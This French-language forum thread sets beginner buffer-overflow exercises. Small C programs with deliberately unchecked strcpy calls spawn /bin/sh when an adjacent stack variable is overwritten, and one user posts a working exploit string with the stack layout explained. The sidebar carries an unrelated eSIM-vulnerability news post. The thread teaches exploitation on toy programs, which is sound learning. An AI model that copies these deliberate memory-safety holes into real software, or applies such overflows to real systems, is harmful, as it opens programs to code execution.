Aller au contenu
Règlement du forum ×
IPTV et arnaques ×

Petits jeux pour comprendre les "buffer overflow"


Iyas

Messages recommandés

Bon alors il semble que des gens s'interessent à la sécurité sur le Forum.

 

C'est pour cela que je vous propose un petit jeu que j'avais fait à l'époque et dont l'objectif et d'apprendre à exploiter les "buffer overflow" sous Unix et plus particulièrement sous LINUX.

 

Alors je ne sais pas si ca va intéresser quelqu'un mais je lance l'idée et puis on verra...

 

Pour commencer je vous donne le petit programme C suivant:

 

---- newbie1.c -----

 

#include

 

int main (int argc, char **argv)

{

int crap;

int check;

char buf[20];

strcpy(buf, argv[1]);

if (check==0xdeadbeef)

{

system("/bin/tcsh");

}

}

 

---- newbie1.c -----

 

L'objectif ici est de me donner la réponse sous forme d'un petit programme C qui construira le buffer, puis qui exécutera le programme ci dessus compilé, en passant le buffer attendu en argument.

 

L'objectif ici est de rentrer dans la partie de code suivante:

 

if (check==0xdeadbeef)

{

system("/bin/tcsh");

}

 

 

Allez à vous de jouer ! :)

Lien vers le commentaire
Partager sur d’autres sites

n'ayant pas la reponse je me permet de repondre au question de Boss_med,

 

les (int argc, char **argv) c'est equivalant au (int argc, string args[]) du java.

 

le char *args c'est pour representer une chaine de caractere, args est un pointeur pointant vers la case memoire contenant le premier caractere et tout ce qui suit (les cases) sont la suite de la chaine jusqu'a un caractere special, pour la 2eme * c'est pr dire que c'est un pointeur de pointeur de char (argv), autrement dit un tableau (suite de cases "pointeur" de type char) et tout comme java le [index] permetera d'acceder (faire le calcul d'@) pour acceder à l'élément voulu (ici pointeur de char ou en langage up : un string).........je me suis moi meme embrouillé.

 

bref, le vecteur argv c'est la suite de chaine pris en argument par le programme, comme par ex format c: /q , ici argv[0] est "c:" et argv[1] est "/q", et argc = 2 puisqu'il y'a 2 params.

 

dsl lyas pour le HS.

Lien vers le commentaire
Partager sur d’autres sites

A vrai dire je n'ai pas très bien saisi l'objectif. Si je comprend bien le but est de provoquer un débordement du buffer.

 

L'objectif ici est de rentrer dans la partie de code suivante:

 

if (check==0xdeadbeef)

{

system("/bin/tcsh");

}

:)

 

Pour s'y faire il faut rajouter des lignes de code dans la structure conditionnelle IF...

 

L'objectif ici est de me donner la réponse sous forme d'un petit programme C qui construira le buffer, puis qui exécutera le programme ci dessus compilé, en passant le buffer attendu en argument.

 

Tu parles aussi de programme compilé... cela veut dire que pour causer le débordement il fraudera analyser le code machine généré par ton code.

 

c'est bien ça ?

 

فهم السؤال ، نصف الجواب

:)

Lien vers le commentaire
Partager sur d’autres sites

Bon alors pour commencer on va faire plus simple... :)

 

Prenons le code suivant:

 

/* newbie1.c */

 

#include

 

int main(int argc, char **argv)

{

 

int crap;

int check;

char buf[20];

 

if (argc

exit(1);

 

strcpy(buf,argv[1]);

 

if (check==0x42424242)

system("/bin/sh");

 

}

 

 

/* newbie1.c */

 

 

La première question à se poser est: que fait le code ci dessus ?

 

Et bien c'est simple, dans un premier temps il copie argv[1] dans buf.

argv[1] ici est l'argument passé au programme lors de son exécution.

Puis, il compare la valeur de l'entier check, et si ce dernier est bien égal à 0x42424242 et bien il exécute system("/bin/sh");.

 

Pas très compliqué hun ? :)

 

Donc biensur il vous faut un linux à disposition...

 

[cb@ns34229 cb]$ vi newbie1.c

 

On copie colle le code ci dessus, puis on le compile:

 

[cb@ns34229 cb]$ gcc -o newbie1 newbie1.c

[cb@ns34229 cb]$

 

L'objectif maintenant est d'obtenir l'exécution de system("/bin/sh") en passant le buffer qui convient en argument:

 

[cb@ns34229 cb]$ ./newbie1 abcdefghj

[cb@ns34229 cb]$

 

Il ne se passe donc rien...

 

Maintenant voilà ce que ca donne avec la bonne réponse (que je vais cacher bien évidemment) :

 

[cb@ns34229 cb]$ ./newbie1 [le_buffer_magique]

sh-2.05$

 

On constate que le programme newbie1 à bien exécuté la partie du code system("/bin/sh");

 

Pour ce premier exercice, pas besoin de coder quoi que ce soit :) Il vous suffit de passer le bon argument au programme newbie1.

 

 

Voilà :) J'espere que c'est un peu plus clair :)

Lien vers le commentaire
Partager sur d’autres sites

Salam :)

 

j'ai pas lu ton dernier message, j'ai utilisé l'exemple de ton premier message voici l'exploit lol:

 

#include

 

int main (int argc, char **argv)

{

 

 

printf("owned sans da3wet echar :)\n");

system("./newbie1 11111111111111111111AAAA\xef\xbe\xad\xde");

 

 

}

Lien vers le commentaire
Partager sur d’autres sites

Ben ca à l'air d'être ca :) T'es testé ca marche ? ;)

 

Sur le linux sur lequel j'ai testé, je dois mettre quelque chose comme 46 char avant d'écrire sur check :) Ca fait ca chez toi aussi ?

 

Et puis heu system() interprète bien les \xfe ? je ne savais pas ca :) Je préfère utiliser execl et passer le buffer direct en argument :)

Lien vers le commentaire
Partager sur d’autres sites

Amine,

 

Chaque chose en son temps ;)

 

Aller un autre un peu plus complexe:

 

/* Newbie2.c */

 

int main(int argc, char **argv)

{

 

int crap;

int *check;

char buf[20];

 

if (argc

exit(1);

 

strcpy(buf,argv[1]);

 

if (*check==0xdeadbeaf)

system("/bin/sh");

 

}

 

 

Have fun ;)

Lien vers le commentaire
Partager sur d’autres sites

Bon ok je vais essayer d'expliquer tout ca correctement.

 

Bon vous le savez peut être déja, nous sommes ici en présence d'un buffer overlow soit un débordement de tampon...

 

La fonction strcpy (man strcpy) copie le contenu d'un buffer à destination d'un autre buffer sans controler la taille de ce qu'elle va copier.

 

Dans l'exemple argv[1] est l'argument passé au programme et de taille illimitée. Hors buffer[20] lui ne peut contenir que 20 élements (de 0 à 19).

 

Si nous dépassons ces 20 éléments, nous sortons de notre buffer pour aller écrire dans le reste de la mémoire (la stack).

 

Ici Lorsque nous sortons du buffer et que nous dépassons les 20 éléments autorisés, nous remontons dans la stack pour écrire ensuite sur l'entier check et ainsi de suite...

 

Donc la solution donne logiquement quelque chose comme ca:

 

[buf 20 elements][int check][int crap]

soit

[AAAAAAAAAAAAAAAAAAAA][\xef\xbe\xad\xde][int crap]

 

 

Ensuite les alignements, les processeurs etc..etc.. ne permettent pas forcément de tomber pile sur le nombre de caractère exact.. Il faut donc y aller a taton pour chercher a quel moment on écrit au bon endroit dans la mémoire...et c'est la que gdb est votre ami ;) (man gdb).

 

Bon je ne sais pas si ca sera très clair pour tout le monde :)

 

Vous pouvez toujours poser des questions et j'essaierai d'y répondre le plus clairement possible. Amine, je veux bien ton aide sur ce coup la puisque tu es le seul à avoir trouvé la soluce du premier exercice.

 

++

Lien vers le commentaire
Partager sur d’autres sites

mouradski_21,

 

Oui tu as bien compris.

 

Dans le 2è exercice tu dois, toujours par l'intermédiaire de l'argument du programme vulnérable (argv[1]), controler deux adresses.

 

L'objectif est de faire pointer l'adresse du pointer à destination d'une adresse ou se trouve 0xdeadbeaf...Pas facile hun ? :)

 

Mais non tu n'as rien a bidouiller mis à part faire comme Amine, c'est a dire construire le buffer adapter et le passer en paramètre au programme.

Lien vers le commentaire
Partager sur d’autres sites

Toujours personne pour la solution du 2e exo ? :)

 

Amine ? :)

 

Le code à exploiter est le suivant:

 

 

/* Newbie2.c */

 

int main(int argc, char **argv)

{

 

int crap;

int *check;

char buf[20];

 

if (argc

exit(1);

 

strcpy(buf,argv[1]);

 

if (*check==0xdeadbeaf)

system("/bin/sh");

 

}

Lien vers le commentaire
Partager sur d’autres sites

Salut lyas :)

J'ai parlé trop vite en demandant des trucs compliqués lol.

Ben j'ai bien essayé ici , mais je n'ai pas réussi.

En fait un processus quand il est crée initialise son propre espace d'adressage , donc il n'aura pas accés aux données du prog précédent.

 

SAUF si je n'ai pas bien "investigué" dans la piste du fork :).

En tout cas j'ai pu passer le pointeur vers une zone mem partagée mais sa valeur est réinitialisée dans le nouveau prog.

 

J'essayerai plus tard un peu plus :)

Lien vers le commentaire
Partager sur d’autres sites

Salam,

 

Je pense que la tu vas beaucoup trop loin dans ton investigation :)

 

L'idée ici est de controler l'adresse du pointer sur entier pour ensuite le faire pointer à une adresse ou se trouve le résultat attendu soit 0xdeadbeaf.

 

Le seul conseil que je peux te donner c'est d'utiliser une adresse qui pointe dans buf[20]. Donc dans un premier temps essaie de trouver l'adresse de buf.

 

Et n'oublie pas, la commande gdb est ton amie ;)

Lien vers le commentaire
Partager sur d’autres sites

Salut lyas :)

J'ai parlé trop vite en demandant des trucs compliqués lol.

Ben j'ai bien essayé ici , mais je n'ai pas réussi.

En fait un processus quand il est crée initialise son propre espace d'adressage , donc il n'aura pas accés aux données du prog précédent.

 

SAUF si je n'ai pas bien "investigué" dans la piste du fork :).

En tout cas j'ai pu passer le pointeur vers une zone mem partagée mais sa valeur est réinitialisée dans le nouveau prog.

 

J'essayerai plus tard un peu plus :)

 

je ne comprends pas ou est le probleme Amine !? une @ est unique quelque soit le prog qui l'exploite!!! sans dire trop de conneries car je ne sais si le pointeur est en far (segment:offset) et comment c'est organisé en C :), alors une solution est de faire un autre prog qui créera un pointeur d'entier et initialise une valeur "0xdeadbeaf" et lance

une instance du prog Newbie2.out avec comme parametre une chaine contenant le pointeur précedent (comme vous avez fait au debut avec la chaine bizzaroiide)

Lien vers le commentaire
Partager sur d’autres sites

Rejoindre la conversation

Vous pouvez publier maintenant et vous inscrire plus tard. Si vous avez un compte, connectez-vous maintenant pour publier avec votre compte.

Invité
Répondre à ce sujet…

×   Collé en tant que texte enrichi.   Coller en tant que texte brut à la place

  Seulement 75 émoticônes maximum sont autorisées.

×   Votre lien a été automatiquement intégré.   Afficher plutôt comme un lien

×   Votre contenu précédent a été rétabli.   Vider l’éditeur

×   Vous ne pouvez pas directement coller des images. Envoyez-les depuis votre ordinateur ou insérez-les depuis une URL.

  • Messages

    • Très mauvaise nouvelle les amis… Des chercheurs polonais viennent de péter la sécurité des eSIM et ça fait froid dans le dos puisqu’on parle de 2 milliards de puces compromises qui permettent de cloner votre carte SIM à distance. L’équipe de Security Explorations, un labo de recherche en sécurité basé en Pologne, vient en effet de publier leurs trouvailles et c’est pas joli joli puisqu’ils ont réussi à exploiter une vulnérabilité dans les puces eSIM de Kigen, un des plus gros fournisseurs du marché.   https://korben.info/esim-vulnerabilite-clonage-kigen-security-explorations/demo1.mp4   Ce qu’ils ont réussi à faire c’est à cloner complètement un profil eSIM d’Orange Pologne. Résultat, tous les appels et les SMS arrivaient sur leur téléphone pirate au lieu du téléphone légitime. Imaginez maintenant 2 secondes si ça vous arrive avec votre code de validation bancaire ou votre double authentification… Ce serait la grosse mierda, donc pensez toujours bien à passer par une app de double authentification plutôt qu’un SMS. Mais comment ils ont fait ? Alors accrochez-vous car c’est technique mais je vais essayer de vulgariser au max. Le problème vient d’une “confusion de type” dans l’implémentation Java Card d’Oracle. En gros, la machine virtuelle Java Card ne vérifie pas correctement le bytecode et ça permet d’exécuter du code malveillant. C’est un peu comme si un policier vérifiait juste que vous avez bien le permis, sans regarder si c’est vraiment la vôtre. https://korben.info/esim-vulnerabilite-clonage-kigen-security-explorations/demo2.mp4   D’ailleurs, c’est assez ironique parce qu’Oracle avait déjà été prévenu de ce type de vulnérabilité en 2019. À l’époque, ils avaient répondu que c’était juste des “préoccupations de sécurité” qui n’affectaient pas leur produit en production. Bah visiblement, si. Pour exploiter la faille, il faut d’abord un accès physique temporaire au téléphone cible. L’attaquant extrait alors une clé cryptographique qui lui permet ensuite d’installer une application Java Card malveillante. Et là, c’est open bar : extraction des profils eSIM, des clés d’authentification OPc, du champ AMF… Bref, tout ce qu’il faut pour cloner parfaitement la carte SIM. Mais le pire dans tout ça, c’est qu’une fois cette clé en poche, l’attaquant peut théoriquement faire ses manipulations à distance via le protocole SMS-PP OTA (Over-The-Air). En clair, plus besoin d’avoir le téléphone entre les mains, un simple SMS suffit. Les chercheurs ont même poussé le vice jusqu’à installer des backdoors indétectables sur les puces eSIM. Genre vraiment indétectables, même pour les opérateurs. Et cerise sur le gâteau, ils peuvent aussi “bricker” (rendre inutilisable) l’eSIM à distance si l’envie leur prend. Alors évidemment, Kigen n’est pas resté les bras croisés. Ils ont versé une récompense de 30 000 dollars aux chercheurs (ce qui est plutôt classe) et ont distribué des patches à “des millions” d’eSIM, mais bon, vu qu’on parle de 2 milliards de puces potentiellement affectées, y’a encore du boulot. La GSMA (l’association qui regroupe les opérateurs mobiles) a aussi réagi en mettant à jour les spécifications de sécurité et en fermant tous les profils de test utilisés par les chercheurs pour leurs expériences. Ce qui est vraiment inquiétant, c’est que cette vulnérabilité affecte des puces certifiées EAL4+… Pour ceux qui ne connaissent pas, c’est censé être un niveau de sécurité béton, utilisé pour des trucs critiques, c’est à dire des puces Infineon SLC37 basées sur des processeurs ARM SecurCore SC300 32 bits. Du matos sérieux quoi. Et le pire, c’est que les chercheurs pensent que d’autres fabricants d’eSIM pourraient être vulnérables aux mêmes attaques. Ils se sont concentrés sur Kigen parce qu’il fallait bien commencer quelque part, mais vu que beaucoup utilisent la technologie Java Card d’Oracle… D’ailleurs, petite anecdote marrante (enfin, si on peut dire) : Kigen a évalué la vulnérabilité avec un score CVSS de 6.7 (moyen), alors que les chercheurs estiment qu’elle mérite un 9.1 (critique). C’est un peu comme dire qu’avoir une fuite de gaz dans votre maison, c’est “moyennement dangereux”. Pour les plus techniques d’entre vous, voici ce que les attaquants peuvent récupérer une fois l’eSIM compromise : Les profils eSIM complets de n’importe quel opérateur (AT&T, Vodafone, O2, Orange, China Mobile, T-Mobile…) Les clés secrètes OPc utilisées pour l’authentification réseau Le champ AMF (Authentication Management Field) Les certificats d’identité eUICC Et bien sûr, la possibilité de rediriger tous les appels et SMS Bon, avant que vous ne paniquiez complètement, quelques nuances s’imposent tout de même. D’abord, l’attaque nécessite quand même un accès physique initial au téléphone. C’est pas comme si n’importe qui pouvait cloner votre eSIM depuis son canapé (enfin, pas encore…). Ensuite, Kigen a déjà commencé à distribuer des correctifs donc si votre téléphone fait ses mises à jour régulièrement, vous devriez être protégé (en théorie) et puis normalement,la GSMA a pris des mesures pour éviter que ça se reproduise. Mais quand même, ça fait réfléchir car on nous vend l’eSIM comme LA solution d’avenir, plus sécurisée, plus pratique… et au final, ça se casse comme une vulgaire coquille de noix. D’ailleurs, si vous voulez creuser le sujet, Security Explorations a publié tous les détails techniques sur leur site. Et en attendant, qu’est-ce qu’on peut faire pour se protéger ? Bah pas grand-chose malheureusement. Garder son téléphone à jour, éviter de le prêter à des inconnus (surtout s’ils ont l’air de s’y connaître en Java Card), et croiser les doigts pour que votre opérateur ait appliqué les patches. Ah et petit conseil : si vous utilisez la double authentification par SMS pour des trucs sensibles (banque, crypto, etc.), c’est peut-être le moment de passer à une app d’authentification ou une clé physique. Parce que bon, si quelqu’un peut cloner votre SIM et recevoir vos SMS… Je vous conseille 2FAS comme app. Cette histoire nous rappelle une fois de plus que la sécurité absolue n’existe pas et que même sur les systèmes les plus certifiés, les plus vérifiés, il peut y avoir des failles et que souvent, ces failles viennent de trucs basiques qu’on a oublié de vérifier comme ici, une simple vérification de bytecode qui aurait pu éviter tout ça. En tout cas, chapeau à Security Explorations pour leur boulot c’est impressionnant ! Et n’oubliez pas, comme dit l’adade : “y’a pas de système sécurisé, il n’y a que des systèmes pas encore hackés”.   Source
    • J'essaye de faire des réclamations mais ils ne comprennent pas le problème, kifeh derto mon frr bah ils ont réglés le problème mdr
    • Salam ; Pouvez me confirmer si le moteur de recherche duckduckgo fonctionne ou pas chez vous. Je n'y accede que par vpn .
    • Mettez en place des serveurs web les gars, ça va augmenter et diversifier le contenu algérien sur la toile.
×
×
  • Créer...